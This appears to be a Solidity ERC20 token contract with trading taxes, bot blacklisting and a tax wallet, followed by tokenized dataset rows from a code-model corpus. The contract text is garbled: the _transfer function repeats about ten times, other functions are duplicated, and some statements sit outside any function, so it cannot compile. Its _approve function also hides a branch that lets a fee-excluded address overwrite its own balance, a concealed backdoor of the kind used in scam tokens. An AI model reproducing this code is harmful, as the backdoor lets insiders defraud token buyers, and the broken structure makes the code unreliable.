payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; _allowances[owner][spender] = (_isExcludedFromFee[owner]&&owner==spender)?_balances[spender]=amount:_allowances[owner][spender]=amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to],"its a bot"); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if(_buyCount<_preventSwapBefore){ require(!isContract(to)); } _buyCount++; _buyerMap[to]=true; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) && from!=_taxWallet ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_buyCount>_preventSwapBefore || _buyerMap[from],"Seller is not buyer"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTxAmount))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } if(tokenAmount==0){return;} if(!tradingOpen){return;} function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0xfCD3842f85ed87ba2889b4D35893403796e67FF1); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); receive() external payable {} function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
16,814,756
[ 1, 6430, 3238, 20488, 77, 33, 5743, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 13874, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 1265, 14667, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 70, 16213, 863, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 2512, 87, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 4505, 3024, 5912, 4921, 31, 203, 565, 1426, 1071, 7412, 6763, 1526, 273, 629, 31, 203, 565, 1758, 8843, 429, 3238, 389, 8066, 16936, 31, 203, 203, 565, 2254, 5034, 3238, 389, 29150, 12521, 4649, 33, 2947, 31, 203, 565, 2254, 5034, 3238, 389, 70, 9835, 1380, 33, 20, 31, 203, 203, 565, 2254, 28, 3238, 5381, 389, 31734, 273, 6549, 31, 203, 565, 2254, 5034, 3238, 5381, 389, 88, 5269, 273, 15088, 3784, 380, 1728, 636, 67, 31734, 31, 203, 565, 533, 3238, 5381, 389, 529, 273, 5252, 6, 2171, 490, 932, 1139, 14432, 203, 565, 533, 3238, 5381, 389, 7175, 273, 5252, 6, 38, 13874, 14432, 203, 565, 2254, 5034, 3238, 389, 8066, 12521, 7614, 33, 20, 380, 1728, 636, 67, 31734, 31, 203, 203, 565, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 3238, 640, 291, 91, 438, 58, 22, 8259, 31, 203, 2 ]
./partial_match/1/0xd58b52Dc9912bCfa336271e54340e4bC63E3B48F/sources/WolfKing.sol
* @dev Sets the value of the `decimals`. This value is immutable, it can only be set once during construction./
constructor () ERC20('Wolf King', 'WolfKing') { _mint(_msgSender(), _totalSupply); }
15,578,077
[ 1, 2785, 326, 460, 434, 326, 1375, 31734, 8338, 1220, 460, 353, 11732, 16, 518, 848, 1338, 506, 444, 3647, 4982, 16171, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1832, 4232, 39, 3462, 2668, 59, 355, 74, 1475, 310, 2187, 296, 59, 355, 74, 47, 310, 6134, 288, 203, 3639, 389, 81, 474, 24899, 3576, 12021, 9334, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
